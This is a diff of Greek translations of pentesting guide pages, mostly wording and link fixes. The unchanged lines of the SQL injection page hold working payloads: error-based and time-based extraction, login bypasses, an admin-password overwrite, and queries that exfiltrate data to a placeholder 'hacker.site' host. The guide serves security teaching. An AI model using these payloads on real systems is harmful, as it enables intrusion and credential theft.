+- Σύνδεσμος στη σελίδα σχετικά με [**ρύθμιση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 
 ## Αναφορές
 

src/pentesting-web/sql-injection/README.md

@@ -189,18 +189,18 @@ _Υπάρχει ένας διαφορετικός τρόπος για να αν
 
 ## Exploiting Hidden Union Based
 
-Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε union φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε union**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε union, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
+Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε ένωση**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
 
-Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το σύστημα διαχείρισης βάσεων δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
+Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
 
-Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα union στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε union.
+Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα ένωσης στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε ένωση.
 
 Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 
 ## Exploiting Error based
 
 Εάν για κάποιο λόγο **δεν μπορείτε** να δείτε την **έξοδο** του **ερωτήματος** αλλά μπορείτε να **δείτε τα μηνύματα σφάλματος**, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να **εξάγουν** δεδομένα από τη βάση δεδομένων.\
-Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε Union, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.
+Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 ```
@@ -219,13 +219,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
 ## Εκμετάλλευση Χρονικά Βασισμένου SQLi
 
-Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το περιεχόμενο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα **να χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing).
+Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το περιεχόμενο της σελίδας. Ωστόσο, μπορείτε να κάνετε τη σελίδα να **χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση προηγουμένως για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing).
 ```sql
 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
 ```
 ## Στοιβαγμένες Ερωτήσεις
 
-Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
+Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλαπλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
 
 **Oracle** δεν υποστηρίζει **στοιβαγμένες ερωτήσεις.** **MySQL, Microsoft** και **PostgreSQL** τις υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE`
 
@@ -235,13 +235,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```sql
 select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
 ```
-### Εξαγωγή δεδομένων εκτός δικτύου μέσω XXE
+### Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE
 ```sql
 a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
 ```
 ## Αυτοματοποιημένη Εκμετάλλευση
 
-Ελέγξτε το [SQLMap Cheatsheet](sqlmap/) για να εκμεταλλευτείτε μια ευπάθεια SQLi με [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
+Δείτε το [SQLMap Cheatsheet](sqlmap/index.html) για να εκμεταλλευτείτε μια ευπάθεια SQLi με [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 
 ## Τεχνικές συγκεκριμένες πληροφορίες
 
@@ -249,9 +249,9 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
-- [MySQL](mysql-injection/)
+- [MySQL](mysql-injection/index.html)
 - [Oracle](oracle-injection.md)
-- [PostgreSQL](postgresql-injection/)
+- [PostgreSQL](postgresql-injection/index.html)
 
 Ή θα βρείτε **πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL σε** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
@@ -267,7 +267,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν αναμενόμενα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
+Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για την ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
 ```sql
 md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@@ -278,7 +278,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 ```
 **Συνιστώμενη λίστα**:
 
-Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: _**Pass1234.**_\
+Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πρόσβασης πάντα: _**Pass1234.**_\
 &#xNAN;_(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_
 
 {% file src="../../images/sqli-hashbypass.txt" %}
@@ -312,13 +312,13 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 
 - Δημιουργήστε χρήστη με το όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
 - Δημιουργήστε έναν χρήστη με το όνομα: **admin=**
-- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλές κενές θέσεις] a**
+- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλοί χώροι] a**
 
 #### SQL Truncation Attack
 
-Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 κενές θέσεις] a_" και οποιοδήποτε κωδικό πρόσβασης.
+Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 χώροι] a_" και οποιοδήποτε κωδικό πρόσβασης.
 
-Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στο **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 κενές θέσεις]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλες τις κενές θέσεις στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).
+Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στο **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 χώροι]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλους τους χώρους στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).
 
 Περισσότερες πληροφορίες: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
@@ -336,7 +336,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 
 Example Payload Injection:
 
-Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
+Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το email ενός υπάρχοντος διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
 ```sql
 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
@@ -344,7 +344,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
 
 - Το ερώτημα προσπαθεί να εισάγει δύο γραμμές: μία για `generic_user@example.com` και μία άλλη για `admin_generic@example.com`.
 - Εάν η γραμμή για `admin_generic@example.com` υπάρχει ήδη, η ρήτρα `ON DUPLICATE KEY UPDATE` ενεργοποιείται, δίνοντας εντολή στο MySQL να ενημερώσει το πεδίο `password` της υπάρχουσας γραμμής σε "bcrypt_hash_of_newpassword".
-- Κατά συνέπεια, η αυθεντικοποίηση μπορεί στη συνέχεια να επιχειρηθεί χρησιμοποιώντας `admin_generic@example.com` με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο θα πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης).
+- Κατά συνέπεια, μπορεί στη συνέχεια να γίνει προσπάθεια αυθεντικοποίησης χρησιμοποιώντας `admin_generic@example.com` με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο θα πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης).
 
 ### Εξαγωγή πληροφοριών
 
@@ -412,7 +412,7 @@ No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλα
 ```
 ### No commas bypass
 
-No Comma - bypass χρησιμοποιώντας OFFSET, FROM και JOIN
+No Comma - παράκαμψη χρησιμοποιώντας OFFSET, FROM και JOIN
 ```
 LIMIT 0,1         -> LIMIT 1 OFFSET 0
 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@@ -420,7 +420,7 @@ SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
 ```
 ### Generic Bypasses
 
-Μαύρη λίστα χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα
+Blacklist χρησιμοποιώντας λέξεις-κλειδιά - bypass χρησιμοποιώντας κεφαλαία/μικρά
 ```sql
 ?id=1 AND 1=1#
 ?id=1 AnD 1=1#
@@ -443,9 +443,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
 -1' or 1337.1337e1 or '1'='1
 ' or 1.e('')=
 ```
-### Παράκαμψη Περιορισμού Ονομάτων Στηλών
+### Bypass Column Names Restriction
 
-Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag`
+Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξαγάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag`
 
 Είναι δυνατόν να **έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της** χρησιμοποιώντας ένα ερώτημα όπως το εξής: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, οπότε σε μια sqlinjection αυτό θα φαίνεται έτσι:
 ```bash

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -7,10 +7,10 @@
 ## Proxies
 
 > [!NOTE]
-> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
+> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για την εκμετάλλευση ευπαθειών. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
 
 - [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
-- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
+- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 - [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
@@ -26,25 +26,25 @@
 
 ### **Reflected Values**
 
-Αν τα εισαγόμενα δεδομένα μπορεί με κάποιο τρόπο να ανακλαστούν στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.
+Αν τα εισαγόμενα δεδομένα μπορεί με κάποιο τρόπο να αντανακλώνται στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.
 
 - [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
+- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**Open Redirect**](open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
-Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απλώς απαιτούν το περιεχόμενο να ανακλάται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε:
+Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απαιτούν απλώς το περιεχόμενο να αντανακλάται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε:
 
 {{#ref}}
 pocs-and-polygloths-cheatsheet/
@@ -54,11 +54,11 @@ pocs-and-polygloths-cheatsheet/
 
 Αν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποιο είδος δεδομένων στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα.
 
-- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](nosql-injection.md)
 - [ ] [**LDAP Injection**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](sql-injection/)
+- [ ] [**SQL Injection**](sql-injection/index.html)
 - [ ] [**XPATH Injection**](xpath-injection.md)
 
 ### **Forms, WebSockets and PostMsgs**
@@ -67,15 +67,15 @@ pocs-and-polygloths-cheatsheet/
 
 - [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 
 ### **HTTP Headers**
 
 Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή, κάποιες ευπάθειες μπορεί να είναι παρούσες.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ pocs-and-polygloths-cheatsheet/
 - [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](captcha-bypass.md)
-- [ ] [**Login Bypass**](login-bypass/)
+- [ ] [**Login Bypass**](login-bypass/index.html)
 - [ ] [**Race Condition**](race-condition.md)
 - [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
@@ -94,9 +94,9 @@ pocs-and-polygloths-cheatsheet/
 ### **Structured objects / Specific functionalities**
 
 Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικά σειριοποιημένο αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\
-Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Email Header Injections).
+Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως οι Εισαγωγές Επικεφαλίδας Email).
 
-- [ ] [**Deserialization**](deserialization/)
+- [ ] [**Deserialization**](deserialization/index.html)
 - [ ] [**Email Header Injection**](email-injections.md)
 - [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ pocs-and-polygloths-cheatsheet/
 Λειτουργίες που δημιουργούν αρχεία περιλαμβάνοντας είσοδο χρηστών μπορεί να εκτελούν απροσδόκητο κώδικα.\
 Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή αυτόματα δημιουργημένα περιλαμβάνοντας είσοδο χρηστών μπορεί να διακυβεύονται.
 
-- [ ] [**File Upload**](file-upload/)
+- [ ] [**File Upload**](file-upload/index.html)
 - [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ pocs-and-polygloths-cheatsheet/
 ### **External Identity Management**
 
 - [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](saml-attacks/)
+- [ ] [**SAML Attacks**](saml-attacks/index.html)
 
 ### **Other Helpful Vulnerabilities**
 
@@ -124,6 +124,6 @@ pocs-and-polygloths-cheatsheet/
 - [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
 - [ ] [**Parameter Pollution**](parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -7,11 +7,11 @@
 ## Proxies
 
 > [!NOTE]
-> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
+> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίοι μπορεί να (κατα)χρησιμοποιηθούν για την εκμετάλλευση ευπαθειών. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -31,16 +31,16 @@
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**Open Redirect**](../open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
@@ -54,11 +54,11 @@
 
